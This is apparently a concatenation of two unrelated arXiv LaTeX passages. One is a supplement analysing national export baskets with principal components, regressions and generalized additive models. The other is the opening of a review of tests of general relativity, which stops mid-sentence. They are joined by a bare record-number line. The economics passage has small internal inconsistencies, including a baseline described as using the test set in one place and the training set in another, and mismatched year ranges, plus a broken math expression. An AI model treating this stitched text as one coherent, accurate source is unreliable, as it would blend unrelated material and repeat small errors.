\label{fig:pci_vs_loading_on_pc0}
\end{center}
\end{figure}
\subsection{Interpreting a country's score on the first principal component\label{sec:interpret_score_first_pc}}
\subsubsection{Pair-wise correlations\label{sec:interpret_score_first_pc:correlations}}
Figure\ \ref{fig:correlate_score_first_pc_with_others} shows that a country's score on the first principal component, $\scorePC{0}$, is highly correlated with its total export value per capita [Pearson correlation $\rho = 0.82$, Fig.\ \ref{fig:correlate_score_first_pc_with_others}(D)], which is not surprising given that the loadings of products on the first principal component are all positive.
However, $\scorePC{0}$ is more correlated with the Economic Complexity Index\ \cite{Hidalgo2009} [$\rho = 0.82$, Fig.\ \ref{fig:correlate_score_first_pc_with_others}(B)] than is total export value per capita [$\rho = 0.63$, Fig.\ \ref{fig:correlate_score_first_pc_with_others}(E)].
The score on the first principal component, $\scorePC{0}$, is also somewhat correlated with a certain notion of \emph{diversification} of the export basket [$\rho = 0.67$, Fig.\ \ref{fig:correlate_score_first_pc_with_others}(G)]. These observations (together with more reasons given below in Sec.\ \ref{sec:interpret_score_first_pc:regressions}) are why we refer to $\scorePC{0}$ as ``complexity-weighted diversity''.
Here, we consider the notion of diversification of exports used in\ \cite[Equation 3]{Hidalgo2009}, namely the number of products $p$ such that the revealed comparative advantage $\RCAsymbol{c}{p}{t}$ exceeds one:
\begin{align}
\diversity{c}{t} := \left \{ p : \RCAsymbol{c}{p}{t} > 1 \right \}.
\label{eq:diversity_RCA}
\end{align}
where
\begin{align*}
\RCAsymbol{c}{p}{t} \equiv \RCAfraction{c}{p}{t}.
\end{align*}
Figure\ \ref{fig:correlate_score_first_pc_with_others}(G) indicates that export baskets with the highest score $\scorePC{0}$ on the first principal component
tend to have
$\RCAsymbol{c}{p}{t}$ larger than one for approximately half of the $59$ $2$-digit products, while the export baskets with the lowest $\scorePC{0}$ tend to have $\RCAsymbol{c}{p}{t}$ larger than one for fewer than $10$ out of the $59$ $2$-digit products.
Thus, the direction in the space of products in which export baskets over the past $50$ years are most spread out is, loosely speaking, one that distinguishes undiversified, small export baskets from diversified, large ones.
\subsubsection{Intuition behind the correlations\label{sec:interpret_score_first_pc:intuition}}
First, we give intuition the correlation between exports per capita and $\scorePC{0}$ in Fig.\ \ref{fig:correlate_score_first_pc_with_others}(D).
As shown in Fig.\ \ref{fig:pca_loadings} and\ \ref{fig:pci_vs_loading_on_pc0}, the loadings of the first principal component are positive and range from $0.05$ to $0.15$. This homogeneity of the loadings means that the scores $\scorePC{0}$ capture an \emph{average scaled absolute advantage}. Given the formula of scaled absolute advantage [\eqref{eq:define_Rpop}, centered and scaled via\ \eqref{eq:center_scale}], we therefore expect $\scorePC{0}$ to be highly correlated with the logarithm of exports per capita
[$\rho = 0.82$, Fig.\ \ref{fig:correlate_score_first_pc_with_others}(D)].
For similar reasons, we also expect $\scorePC{0}$ to be correlated with the diversification of the export basket [Fig.\ \ref{fig:correlate_score_first_pc_with_others}(G)]. To see why, let us drop the index $t$ for clarity of exposition. From the definition of principal component analysis as a singular value decomposition, we get that the matrix $\mathrm{R}$ of absolute advantages can be factored as $\mathrm{R}=\mathrm{H}\mathrm{V}^T$. Here, $H_{ck}$ is the score in the $k$-th principal component for country $c$ (i.e., the $c$-th element in the vector $\scorePC{k}$ in our notation), and $V_{pk}$ is how much product $p$ weights (or loads) on component $k$. The matrix $\mathrm{V}$ is orthogonal, and thus $\mathrm{V}^T\mathrm{V}=\mathrm{I}$ is the identity matrix. Given this decomposition, the 2-norm length of the export vector of country $c$ is
\begin{align*}
\left\|R_c\right\|^2 &= [\mathrm{R}\mathrm{R}^T]_{cc}, \\
&= [\mathrm{H}\mathrm{H}^T]_{cc}, \\
&= \left\|H_c\right\|^2, \\
&= \sum_k \scorePC{k}(c)^2.
\end{align*}
In other words, the norm of the export basket vector of country $c$ is equal to the norm of $c$'s vector in the space of principal components.
Now define a country's diversification in terms of absolute advantage (rather than in terms of RCA as in\ \eqref{eq:diversity_RCA} and \cite{Hidalgo2009}) by discretizing the elements of the vector $R_c$:
\begin{align*}
M_{cpt}=
\begin{cases}
1,\quad\text{if $R_{cpt}>0$}\\
0,\quad\text{if $R_{cpt}\leq 0$}
\end{cases}.
\end{align*}
Having $R_{cpt}>0$ would mean that the country $c$ has an absolute advantage larger than the mean absolute advantage that countries have in that product $p$ in that year $t$. (We could discretize the matrix in other ways, but the result is qualitatively the same.) Then diversity (in terms of absolute advantage) is $d_{c} = \sum_p M_{cp}$, but it is also $d_c = [\mathrm{M}\mathrm{M}^T]_{cc}$. All together, we conclude that when there is a first principal component that explains most of the variation, then
\begin{align}
d_c \approx \left\|R_c\right\|^2\approx \scorePC{0}(c)^2 + \scorePC{1}(c)^2.
\label{eq:diversity_approx}
\end{align}
Thus, we would expect diversity to be correlated with the square of the first principal component score.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\textwidth]{correlate_score_first_pc_with_others}
\caption{
\textbf{The score $\scorePC{0}$ on first principal component is highly correlated with total per-capita exports [$\rho = 0.82$, panel (D)]; however, compared to total per-capita exports, the score $\scorePC{0}$ on the first principal component is more correlated with the Economic Complexity Index (ECI) [(B) $\rho = 0.82$ versus (E) $\rho = 0.63$], and it is more correlated with diversification [(G) $\rho = 0.67$ versus (I) $\rho = 0.46$].}
These differences are one reason why we refer to $\scorePC{0}$ as ``complexity-weighted diversification''.
This figure shows Pearson correlations ($\rho$) between all pairs of the four variables (1) score $\scorePC{0}$ on the first principal component, (2) ECI\ \cite{Hidalgo2009}, (3) logarithm (base-10) of total export value per capita, and (4) diversification in terms of revealed comparative advantage (\eqref{eq:diversity_RCA}).
In the scatterplots, the disks show each (country, year) sample, while the black line shows a least-squares regression. The diagonal shows histograms with 30 bins each.
The Economic Complexity Index is taken from the same source as the data copied from the \href{http://atlas.cid.harvard.edu}{Atlas at Harvard's Center for International Development} (see Sec.\ \ref{sec:data}) and is computed from product codes at the 4-digit level for all products. All the other data in this figure is from the dataset analyzed in this paper, with countries and products filtered and aggregated at the 2-digit level as described in Sec.\ \ref{sec:filtering}.
}
\label{fig:correlate_score_first_pc_with_others}
\end{center}
\end{figure}
\clearpage
\subsubsection{Regressions of $\scorePC{0}$\label{sec:interpret_score_first_pc:regressions}}
To investigate whether the score on the first principal component captures information beyond these three quantities Economic Complexity Index, log-exports, and diversification, we use the following datasets:
\begin{description}
\item[Worldwide Governance Indicators (WGI)] from \url{http://info.worldbank.org/governance/wgi/index.aspx#home}. According to the source, this dataset comprises ``aggregate and individual governance indicators for over 200 countries and territories over the period 1996--2016, for six dimensions of governance: Voice and Accountability, Political Stability and Absence of Violence, Government Effectiveness, Regulatory Quality, Rule of Law, and Control of Corruption.''
\item[Barro-Lee Educational Attainment Data] from \url{http://barrolee.com/data/Lee_Lee_v1.0/LeeLee_v1.dta} or \url{http://www.barrolee.com/data/BL_v2.2/BL2013_MF1599_v2.2.csv}, which reports ``educational attainment data for 146 countries in 5-year intervals from 1950 to 2010''. It also provides information about the distribution of educational attainment of the adult population over age 15 and over age 25 by sex at seven levels of schooling: no formal education, incomplete primary, complete primary, lower secondary, upper secondary, incomplete tertiary, and complete tertiary. Average years of schooling at all levels---primary, secondary, and tertiary---are also measured for each country and for regions in the world.
\item[International Data on Cognitive Skills] from \url{http://hanushek.stanford.edu/sites/default/files/publications/hanushek\%2Bwoessmann.cognitive.xls} which was studied in \cite{Hanushek2012}.
\end{description}
The question is: how much do the quantities and indicators in these datasets explain $\scorePC{0}$?
Figures\ \ref{fig:regcoefs_univariate}, \ref{fig:regcoefs_smallmultivariate}, \ref{fig:regcoefs_multivariate}, and \ref{fig:regcoefs_acrossyears} show the results of the standardized coefficients for different univariate and multivariate regressions.
In light of the quadratic relationship in\ \eqref{eq:diversity_approx} between diversity (in terms of absolute advantage, $d_c = \sum_p M_{cp}$) and the score on the first principal component, we use the square root of diversity as a predictor of the score on the first principal component.
While all regressors predict $\scorePC{0}$ to some extent when we carry out univariate regressions, when all are put together only exports per capita, diversity, government effectiveness, and rule of law survive. In the multivariate regressions done per year, the coefficients for exports per capita and diversity are consistently significant and positive, and have similar magnitudes. In light of these regressions and of the relationship between the loadings on the first principal component with product complexity (Fig.\ \ref{fig:pci_vs_loading_on_pc0}), in the main text we refer to the score $\scorePC{0}$ on the first principal component as ``complexity--weighted diversity''.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=0.7\columnwidth]{PC0_regressions_coefficients_univariate}
\caption{
\textbf{Coefficients of the predictors from univariate regressions.}
All regressions included year-specific fixed-effects; errors are clustered by country; and error bars reflect $95\%$ confidence intervals. The estimates are for standardized coefficients (i.e., the variables are standardized to have zero mean and unit variance).}
\label{fig:regcoefs_univariate}
\end{center}
\end{figure}
\begin{figure}[htb]
\begin{center}
\includegraphics[width=0.7\columnwidth]{PC0_regressions_coefficients_smallmultivariate}
\caption{
\textbf{Coefficients of the predictors from a multivariate regression only including exports per capita, diversity and economic complexity index.}
This regression included year-specific fixed-effects; errors are clustered by country; and error bars reflect $95\%$ confidence intervals. The estimates are for standardized coefficients.}
\label{fig:regcoefs_smallmultivariate}
\end{center}
\end{figure}
\begin{figure}[htb]
\begin{center}
\includegraphics[width=0.7\columnwidth]{PC0_regressions_coefficients_multivariate}
\caption{
\textbf{Coefficients of the predictors from a multivariate regression including.}
This regression included year-specific fixed-effects; errors are clustered by country; and error bars reflect $95\%$ confidence intervals. The estimates are for standardized coefficients.}
\label{fig:regcoefs_multivariate}
\end{center}
\end{figure}
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\columnwidth]{PC0_acrossyears_regressions_coefficients_subset_multivariate}
\caption{
\textbf{Coefficients of the predictors from multivariate regressions carried separately by year.}
The estimates are for standardized coefficients.}
\label{fig:regcoefs_acrossyears}
\end{center}
\end{figure}
\subsection{More ways of interpreting the first three principal components}
\paragraph{One-digit product codes}
To help interpret the principal components, in Fig.\ \ref{fig:PCA_loadings_grouped_1digit} we group the $59$ products at the $1$-digit level and plot the mean and standard deviation. Recall from Sec.\ \ref{sec:filtering} that we removed product category \productCode{3} (i.e., all products with SITC product code that begins with \productCode{3}) to avoid focusing on endowments of fossil fuels.
\begin{figure}[htb]
\begin{center}
\includegraphics{PCA_loadings_grouped_1digit}
\caption{PCA loadings grouped and averaged at the 1-digit level.
Error bars show the standard deviation of the loadings divided by the square root of the number of 2-digit products.
}
\label{fig:PCA_loadings_grouped_1digit}
\end{center}
\end{figure}
\paragraph{Most and least loaded 2-digit products in the second and third principal components}
Figure\ \ref{fig:most_least_loaded} shows
the top 10 most and least loaded products in the second and third principal components.
These ``top 10 lists'' aid the interpretation of the first three principal components.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\columnwidth]{most_least_loaded}
\caption{Most and least loaded products in the second and third principal components for the data on absolute advantage\ \eqref{eq:define_Rpop}.}
\label{fig:most_least_loaded}
\end{center}
\end{figure}
\subsection{Substituting per-capita exports or diversification for the score $\scorePC{0}$ on the first principal component suggests that diversification, not simply a rise in total exports per capita, precedes economic growth\label{sec:substitute_for_score_first_pc}}
Rich countries are usually big exporters, have diversified economies, and produce complex products. Hence, these quantities correlate positively with each other, which makes it particularly difficult to interpret the meaning of scores resulting from PCA. We find in the main text that high levels in $\scorePC{0}$ precede growth in income. But the scores of $\scorePC{0}$ are correlated with both exports per-capita and product diversification, so this relationship could mean either that high levels of export per-capita precede growth, or that high levels of diversification precede growth, or both. To better understand what $\scorePC{0}$ represents in our analysis and what it reveals about economic development, here we substitute another variable for it in the GAM: either per-capita export value, or another definition of ``product diversification''.
\subsubsection{Exports per capita are less strongly associated with growth in incomes compared to $\scorePC{0}$}
Figure\ \ref{fig:partial_dependence_exports_per_capita} shows a partial dependence plot (like Fig.\ \ref{fig:partial_dependence}) from a model fitted to the same dataset except that $\scorePC{0}$ is replaced by total export value per capita. Note in particular the bottom-left plot: The 95\% confidence interval of the relationship between economic growth and export value per capita contains zero or is slightly below zero, suggesting a weak relationship between rises exports (no matter the product) and economic growth. Contrast this flat relationship with the positive trend in the bottom-left plot of Fig.\ \ref{fig:partial_dependence}.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\columnwidth]{partial_dependence_exports_per_capita}
\caption{Substituting total export value per capita $X / P$ for $\scorePC{0}$ results in a flat relationship between $X / P$ and growth in income (bottom-left plot). Compare this partial dependence with Fig.\ \ref{fig:partial_dependence} and Fig.\ \ref{fig:partial_dependence_diversification}.}
\label{fig:partial_dependence_exports_per_capita}
\end{center}
\end{figure}
\subsubsection{Replacing $\scorePC{0}$ with another notion of diversification results in qualitatively similar results}
Next we tried replacing $\scorePC{0}$ by diversification as defined in Eq. [3] in \cite{Hidalgo2009}: the number of products with revealed comparative advantage (RCA) larger than one.
The resulting GAM is approximately linear and behaves qualitatively similarly to the model in the main text; in fact, it appears to be a linear approximation of that GAM.
In light of this resemblance to the model in the main text, it seems reasonable to call $\scorePC{0}$ something akin to diversification; here, we call $\scorePC{0}$ ``complexity-weighted diversification''. The comparison between Figs.\ \ref{fig:partial_dependence},\ \ref{fig:partial_dependence_exports_per_capita}, and\ \ref{fig:partial_dependence_diversification} suggests that exporting a large diversity of complex products precedes economic growth.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\columnwidth]{partial_dependence_diversification}
\caption{Replacing $\scorePC{0}$ with the definition of diversification defined in Eq. [3] in \cite{Hidalgo2009} (the number of products with revealed comparative advantage (RCA) larger than one) results in a qualitatively similar model that is more linear than the one discussed in the main text. Compare this partial dependence with Fig.\ \ref{fig:partial_dependence} and Fig.\ \ref{fig:partial_dependence_exports_per_capita}.}
\label{fig:partial_dependence_diversification}
\end{center}
\end{figure}
\section{Details about the generalized additive model: Training and performance\label{sec:gam_training_performance}}
\subsection{Cubic smoothing splines using the B-spline basis\label{sec:pyGAM}}
Generalized additive models were estimated using the package \href{https://pypi.python.org/pypi/pygam/0.2.17}{\texttt{pyGAM 0.2.17}}\ \cite{pyGAM}, which uses a B-spline basis, computed using De Boor recursion. The basis functions extrapolate linearly past the end-knots. Details on cubic smoothing splines are in\ \cite[Chapters 3 and 4]{Wood2006book} and\ \cite[Sec. 5.4]{ESLbook}.
\subsubsection{Nested-in-time cross validation\label{sec:cross_validation}}
The generalized additive model (GAM)\ \eqref{eq:gam} has two hyperparameters: the smoothing strength $\lambda$ that penalizes wiggliness, and the number of splines. Following the advice of\ \cite{Wood2006book}, we tried relatively large values for the number of splines (uniformly distributed over $\{15, 16, \dots, 60\}$) and let the smoothing penalty do the regularization. We sampled $\log_{10} \lambda$ uniformly over $[-3.0, 10.0]$.
To choose the best hyperparameters, we split the data into five training sets that are nested in time as follows.
The task is to predict the change in the time-series between year $t-1$ and $t$ given the value of the time-series at year $t-1$ (i.e., autoregression with lag $1$).
We put the earliest $39\%$ of samples in the first training set, and then we partition the remaining samples into roughly equal-size sets.
(Because countries appear and disappear, some care needs to be taken with time-series of different lengths; we use quantiles of the times of all the samples to find where to split the data.)
The result is that the first training set is data with $t$ between ${1962}$ and ${1988}$, and the corresponding test set is data with $t$ between $1989$ and $1995$. The train--test splits are shown in Table\ \ref{tab:cv_splits}.
\begin{table}[htp]
\caption{Train--test splits used in cross validation, and coefficient of determination ($R^2$) averaged across the three prediction problems (predict annual changes in $\scorePC{0}$, $\scorePC{1}$, and $\texttt{GDPpc}$) for the GAM\ \eqref{eq:gam} and a baseline model that predicts the average change observed in the training set. The model's task is to predict year $t$ using data about year $t-1$.}
\begin{center}
\begin{tabular}{clcc}
\toprule
{} & {} & \multicolumn{2}{c}{Average $R^2$ across $3$ targets}\\
{} & {} & GAM\ \eqref{eq:gam} & Baseline model\\
Split & {} & {} & {} \\
\midrule
\multirow{2}{*}{0}
& Train $1963 \leq t \leq 1988$ & $0.038$ & $-0.002$ \\
& Test $1989 \leq t \leq 1995$ & $0.044$ & $-0.034$ \\
\multirow{2}{*}{1}
& Train $1963 \leq t \leq 1995$ & $0.045$ & $-0.005$ \\
& Test $1996 \leq t \leq 2001$ & $0.019$ & $-0.021$ \\
\multirow{2}{*}{2}
& Train $1963 \leq t \leq 2001$ & $0.046$ & $-0.002$ \\
& Test $2002 \leq t \leq 2006$ & $-0.083$ & $-0.102$ \\
\multirow{2}{*}{3}
& Train $1963 \leq t \leq 2006$ & $0.044$ & $-0.002$ \\
& Test $2007 \leq t \leq 2011$ & $0.000$ & $-0.010$ \\
\multirow{2}{*}{4}
& Train $1963 \leq t \leq 2011$ & $0.040$ & $-0.002$ \\
& Test $2012 \leq t \leq 2016$ & $-0.135$ & $-0.167$ \\
\midrule
\multirow{2}{*}{Average}
& Train & $0.042$ & $-0.002$ \\
& Test & $-0.031$ & $-0.067$ \\
\bottomrule
\end{tabular}
\end{center}
\label{tab:cv_splits}
\end{table}
The model is always tested on data from the future relative to the test set. With this cross validation scheme, the hyperparameters with best performance on the test sets were smoothing strength $\lambda = 2748.5$ and $37$ splines. These values were used for each of the three equations in equation\ \eqref{eq:gam}.
\subsubsection{The GAM outperforms a baseline model that predicts the average change in the test set\label{sec:performance_R2}}
Table\ \ref{tab:cv_splits} and Fig.\ \ref{fig:R2} show the performance of the GAM\ \eqref{eq:gam} in terms of the coefficient of determination, $R^2$. The GAM does better than a simple baseline model that simply predicts the average change observed in the training set. (This baseline model predicted the test set more accurately than a baseline model that predicted the median of the training set.) However, the performance of the GAM has considerable room for improvement: its $R^2$, averaged across the three prediction problems (of predicting $\scorePC{0}$, $\scorePC{1}$, and $\texttt{GDPpc}$) is $0.042$ on the training sets and $-0.031$ on the test sets. For some reason, the score $\scorePC{0}$ is particularly difficult to predict in the most recent test set ($2011$--$2016$, in ``Split 4''). Also, per-capita incomes were difficult to predict in the test set of Split 2 ($2001$--$2006$).
We tried several alternative modeling strategies other than GAMs, including neural networks, random forests, and kernel ridge regression. None of these competing methods significantly outperformed GAMs in their accuracy on test sets, and they were less readily interpretable than GAMs, so we chose to focus on GAMs. That more flexible modeling strategies could not significantly outperform GAMs, despite our best efforts at searching over a large set of hyperparameters, indicates just how difficult it is to predict the dynamics of national economies.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=.95 \textwidth]{R2}
\caption{\textbf{The GAM\ \eqref{eq:gam} outperforms a baseline model that predicts the average change seen in the test set.} However, the performance of the GAM on the test set has considerable room for improvement: for all three prediction problems of predicting $\scorePC{0}$, $\scorePC{1}$, and $\texttt{GDPpc}$, the $R^2$ is approximately $0.04$ on the training set and slightly below zero on the test set.}
\label{fig:R2}
\end{center}
\end{figure}
\subsection{Quantile--quantile plots and raising the response variable sto the ${1/2}$ power\label{sec:QQplots}}
Figure\ \ref{fig:QQ_Rpop} shows a quantile-quantile (QQ) plot of the residuals of generalized additive models of the form\ \eqref{eq:gam} with the response transformed by $\link{x} \equiv \linkExpression{x}$ (bottom row) or not (top row). The residuals are conditioned on the fitted model coefficients and scale parameter. The closer the QQ-plot is to a straight line, the better the distributional assumptions are satisfied. The QQ-plots were made using the function \texttt{qq.gam} in the package \texttt{mgcv} by Simon Wood\ \cite{Wood2011fast}.
Because the QQ-plots are closer to a straight line when we transform the response with $\link{x} \equiv \linkExpression{x}$ (compare bottom row and top row in Fig.\ \ref{fig:QQ_Rpop}), we transform the response variables with the invertible function $\link{x} \equiv \linkExpression{x}$. (An example of such a transformation based on the results of \texttt{qq.gam} is given on page 230 in Section 5.2.1 in\ \cite{Wood2006book}.) When making iterated predictions (as in Figure\ \ref{fig:predicted_growth_rates}), we invert $\link{x}$ in order to feed the response back into the model as a predictor variable.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\textwidth]{QQ_Rpop}
\caption{Quantile-quantile plots for the task of predicting yearly changes $\scorePC{0}(t+1) - \scorePC{0}(t)$, $\scorePC{1}(t+1) - \scorePC{1}(t)$, $\texttt{GDPpc}(t+1) - \texttt{GDPpc}(t)$ (top row, left to right) and for predicting those yearly transformed by $\link{x} \equiv \linkExpression{x}$ (bottom row).
In the top row, we see significant improvement in how close the deviance residuals are to the straight red line.
}
\label{fig:QQ_Rpop}
\end{center}
\end{figure}
\subsection{Errors averaged by country\label{sec:errors_by_country}}
This model tends to be more accurate for more developed countries, as shown in Figure\ \ref{fig:errors_averaged_by_country}.
Figure\ \ref{fig:errors_averaged_by_country} shows the squared errors averaged by country, for predicting export baskets that have been dimension-reduced with PCA (left column) and for predicting the export baskets themselves (right-column).
The trajectories of poorer countries in Figures\ \ref{fig:streamplot_scatterplot_pc0_p1_and_pc0_gdppc} and\ \ref{fig:streamplots_vary_gdppc} in the main text appear to be laminar. By contrast, Cristelli et al.\ \cite{Cristelli2015} found that the trajectories of the poorest countries are turbulent when they analyzed yearly changes in ``fitness'' and per-capita incomes. The dynamics in our model\ \eqref{eq:gam} are laminar because a large smoothing strength is chosen in cross validation (Sec.\ \ref{sec:cross_validation}). However, the greater predictability of richer countries (Fig.\ \ref{fig:errors_averaged_by_country}) is consistent with the finding of Cristelli et al.\ \cite{Cristelli2015} that richer countries move in a more laminar, predictable path through the space defined by per-capita income and by a summary measure of export baskets.
\begin{figure}[htb]
\begin{center}
\includegraphics[width=\textwidth]{errors_averaged_by_country}
\caption{
\textbf{
The inferred model tends to make larger errors in predicted changes of export baskets and per-capita incomes of low-income countries, especially in Africa.
}
Plotted are the squared errors in predicting export baskets and per-capita incomes, averaged across columns [i.e., across $(\scorePC{0}, \scorePC{1}, \texttt{GDPpc})$] and then averaged across time.
The left-hand column shows the error on the reduced dimensions $(\scorePC{0}, \scorePC{1}, \texttt{GDPpc})$, while the right-hand column shows the errors after the principal component scores $(\scorePC{0}, \scorePC{1})$ are inverted back to the original dimensions corresponding to $59$ products.}
\label{fig:errors_averaged_by_country}
\end{center}
\end{figure}
\subsection{Alignment of changes in export baskets with the gradient of per-capita incomes}
\subsubsection{Countries tend to ``hill climb'' to higher incomes}
Do economies' export baskets change in ways that lead to rising incomes?
To explore that question,
we plot in the left column of Figure\ \ref{fig:hill_climb} the direction in $(\scorePC{0}, \scorePC{1})$ that would most increase per-capita incomes [i.e., the gradient $\left (s_{20}'(\scorePC{0}), s_{20}'(\scorePC{1}) \right)$.
For comparison, in the right-hand column of Figure\ \ref{fig:hill_climb} we plot the typical movement in $(\scorePC{0}, \scorePC{1})$ according to the fitted model\ \eqref{eq:gam}. In these plots on the right-hand column, at each point in a fine grid of points, we find the $\texttt{GDPpc}$ of the closest sample to that grid point.
This procedure results in more wiggles in the streamlines compared to when $\texttt{GDPpc}$ is fixed at a certain value, as in Figure\ \ref{fig:streamplots_vary_gdppc} in the main text.
\begin{figure}[htb]
\begin{center}
\includegraphics{hill_climb}
\caption{
\textbf{
Hill climbing: countries tend to
change their export baskets to maximize short-run gains in per-capita incomes.}
In the left column, the contribution of (dimension-reduced) export baskets to the changes in per-capita incomes, $s_{20}(\scorePC{0}) + s_{21}(\scorePC{1})$, is plotted using colors in a blue--red spectrum.
The black streamlines show the gradient of that mapping; they mark the direction in which a country would change its $\scorePC{0}$ (roughly speaking, its export diversity) and $\scorePC{1}$ (roughly speaking, its exports of agriculture minus machinery) to maximize next year's per-capita income, according to the fitted model.
The right column shows a smoothed version of how countries actually move through $(\scorePC{0}, \scorePC{1})$, with colors denoting the speed of movement, $\sqrt{\left ( \Delta \scorePC{0} \right ) ^2 + \left ( \Delta \scorePC{1} \right )^2}$.
For each rectangle in a fine grid of rectangles covering the diagram, we find the per-capita income $\widetilde g$ of the sample with closest $(\scorePC{0}, \scorePC{1})$ to a corner $(\widetilde \scorePC{0}, \widetilde \scorePC{1})$ of that rectangle, and then we plot the predicted movement in $(\scorePC{0}, \scorePC{1})$ evaluated at $(\widetilde \scorePC{0}, \widetilde \scorePC{1}, \widetilde g)$ according to the cubic-spline model\ \eqref{eq:gam}.
}
\label{fig:hill_climb}
\end{center}
\end{figure}
By comparing the left- and right-hand plots in Figure\ \ref{fig:hill_climb}, we see how well economies tend to ``hill climb'' toward higher per-capita incomes according to the model\ \eqref{eq:gam}.
Except for two extreme points where few observations are found (very high and very low $\scorePC{1}$), countries do tend to move along the gradient of per-capita income.
Figure \ref{fig:cosine_similarity_by_income_and_region_and_country} shows the cosine similarity of countries' movement in $(\scorePC{0}, \scorePC{1})$ and the gradient of how $\Delta \texttt{GDPpc}$ depends on $(\scorePC{0}, \scorePC{1})$. By this measure, countries with higher incomes tend to be better hill climbers (i.e., high cosine similarity), and China has become an unusually good hill climber since the late $1990\text{s}$, while Madagascar has only recently moved slightly aligned with the gradient of per-capita incomes.
\begin{figure}[htb]
\begin{center}
\includegraphics{cosine_similarity_by_income_and_region_and_country}
\caption{
\textbf{Alignment of economies' changes in export baskets with the direction that would most increase per-capita incomes.}
Plotted is the cosine similarity between countries' movement in the first two principal components, $(\Delta \scorePC{0}, \Delta \scorePC{1})$ and the gradient of the change in per-capita incomes with respect to the scores on the first two principal components,
(s_{20}'(\scorePC{0}), s_{21}'(\scorePC{1}))$.
A centered rolling average is applied to reduce noise (with window size $5$ in the first two rows and size $10$ in the third row).
Income groups in the top row are from the World Bank.
}
\label{fig:cosine_similarity_by_income_and_region_and_country}
\end{center}
\end{figure}
|
1,477,468,750,038 | arxiv | \section{Introduction}
\label{sec:intro}
To understand the Universe in its vast and complex splendor seems
a daunting task, yet human curiosity and wonder over centuries and
civilizations have always led humankind to seek answers to some of
the most compelling questions of all -- How did the Universe come
to be? What is it made of? What forces rule its behavior? Why is
it the way it is? What will ultimately become of it? With its
prominent influence on natural phenomena at every distance scale,
gravitation plays a pivotal role in this intellectual quest.
Gravity was known to humans long before the present-day picture of
four fundamental interactions was formed. The nature of gravity is
fundamental to our understanding of our solar system, the galaxy
and the structure and evolution of the Universe. It was Newton who
first understood that gravity not only dictates the fall of apples
and all bodies on Earth, but also planetary motion in our solar
system and the sun itself are govern by the same physical
principles. On the larger scales the effects of gravity are even
more pronounced, guiding the evolution of the galaxies, galactic
clusters and ultimately determining the fate of the Universe.
Presently the Einstein's general theory of relativity is a key to
the understanding a wide range of phenomena, spanning from the
dynamics of compact astrophysical objects such as neutron stars
and black holes, to cosmology, where the Universe itself is the
object of study. Its striking predictions include gravitational
lensing and waves, and only black holes have not yet been directly
confirmed.
The significance that general relativity (GR) plays for our
understanding of nature, makes the theory a focus of series of
experimental efforts performed with ever increasing accuracy.
However, even after more than ninety years since general
relativity was born, Einstein's theory has survived every test.
Such longevity does not mean that it is absolutely correct, but
serves to motivate more precise tests to determine the level of
accuracy at which it is violated. This motivates various precision
tests of gravity both in laboratories and in space; as a result,
we have witnessed an impressive progress in this area over the
last two decades. However, there are a number of reasons to
question the validity of this theory, both theoretical and
experimental.
On the theoretical front, the problems arise from several
directions, most dealing with the strong gravitational field
regime; this includes the appearance of spacetime singularities and the
inability to describe the physics of very strong gravitational
fields using the standard of classical description. A way out of
this difficulty would be attained through gravity quantization. However, despite
the success of modern gauge field theories in describing the
electromagnetic, weak, and strong interactions, it is still not
understood how gravity should be described at the quantum level.
Our two foundational theories of nature, quantum mechanics and
GR, are not compatible with each other. In
theories that attempt to include gravity, new long-range forces
can arise in addition to the Newtonian inverse-square law. Even at
the classical level, and assuming the Equivalence Principle,
Einstein's theory does not provide the most general way to
establish the spacetime metric. Regardless of whether the
cosmological constant should be included, there are also important
reasons to consider additional fields, especially scalar fields.
Although the latter naturally appear in these modern theories,
their inclusion predicts a non-Einsteinian behavior of gravitating
systems. These deviations from GR lead to a violation of the Equivalence Principle, a foundation of general relativity, modification of large-scale gravitational phenomena, and cast doubt upon the constancy of the fundamental ``constants.'' These predictions motivate new searches for very small deviations of relativistic gravity from GR and provide a new theoretical paradigm and guidance for further gravity experiments.
Meanwhile, on the experimental front, recent cosmological
observations has forced us to accept the fact that our current
understanding of the origin and evolution of the Universe is at
best incomplete, and possibly wrong. It turned out that, to our
surprise, most of the energy content of the Universe resides in
presently unknown dark matter and dark energy that may permeate
much, if not all of spacetime. If so, then this dark matter may be
accessible to laboratory experimentation. It is likely that the
underlying physics that resolve the discord between quantum
mechanics and GR will also shed light on
cosmological questions addressing the origin and ultimate destiny
of the Universe. Recent progress in the development of vastly
superior measurement technology placed fundamental physics in a
unique position to successfully address these vital questions.
Moreover, because of the ever increasing practical significance of
the general theory of relativity (i.e. its use in spacecraft
navigation, time transfer, clock synchronization, etalons of time,
weight and length, etc.) this fundamental theory must be tested to
increasing accuracy.
This paper is organized as follows: Section~\ref{sec:gr-survey}
discusses the foundations of the general theory of relativity and
reviews the results of the recent experiments designed to test the
foundations of this theory. Section~\ref{sec:beyond} presents
motivations for extending the theoretical model of gravity provided
by GR; it presents a model arising from string theory,
discusses the scalar-tensor theories of gravity, and also highlights
phenomenological implications of these proposals. This section
also reviews the motivations and the search for new interactions of
nature and discusses the hypothesis of gravitational shielding.
Section~\ref{cosmological} addresses the astrophysical and
cosmological phenomena that led to some recent proposals that modify gravity
on large scales; it discusses some of these proposals and reviews
their experimental implications. Section \ref{sec:space} discusses
future missions and experiments aiming to expand our knowledge of
gravity. Finally, conclusions and an outlook are presented.
\section{Testing Foundations of General Relativity}
\label{sec:gr-survey}
General relativity began its empirical success in 1915, by
explaining the anomalous perihelion precession of Mercury's orbit,
using no adjustable theoretical parameters. Shortly thereafter,
Eddington's 1919 observations of stellar lines-of-sight during a
solar eclipse confirmed the doubling of the deflection angles
predicted by the Einstein's theory, as compared to Newtonian-like
and Equivalence Principle arguments; this made the theory an
instant success. From these beginnings, GR
has been extensively tested in the solar system, successfully
accounting for all data gathered to date. Thus, microwave ranging
to the Viking Lander on Mars yielded accuracy $\sim 0.2$ in the
tests of GR \cite{viking_shapiro1,viking_reasen,viking_shapiro2}.
Spacecraft and planetary radar observations reached an accuracy of
$\sim 0.15$ \cite{anderson02}. The astrometric observations of
quasars on the solar background performed with Very-Long Baseline
Interferometry improved the accuracy of the tests of gravity to
$\sim 0.045$
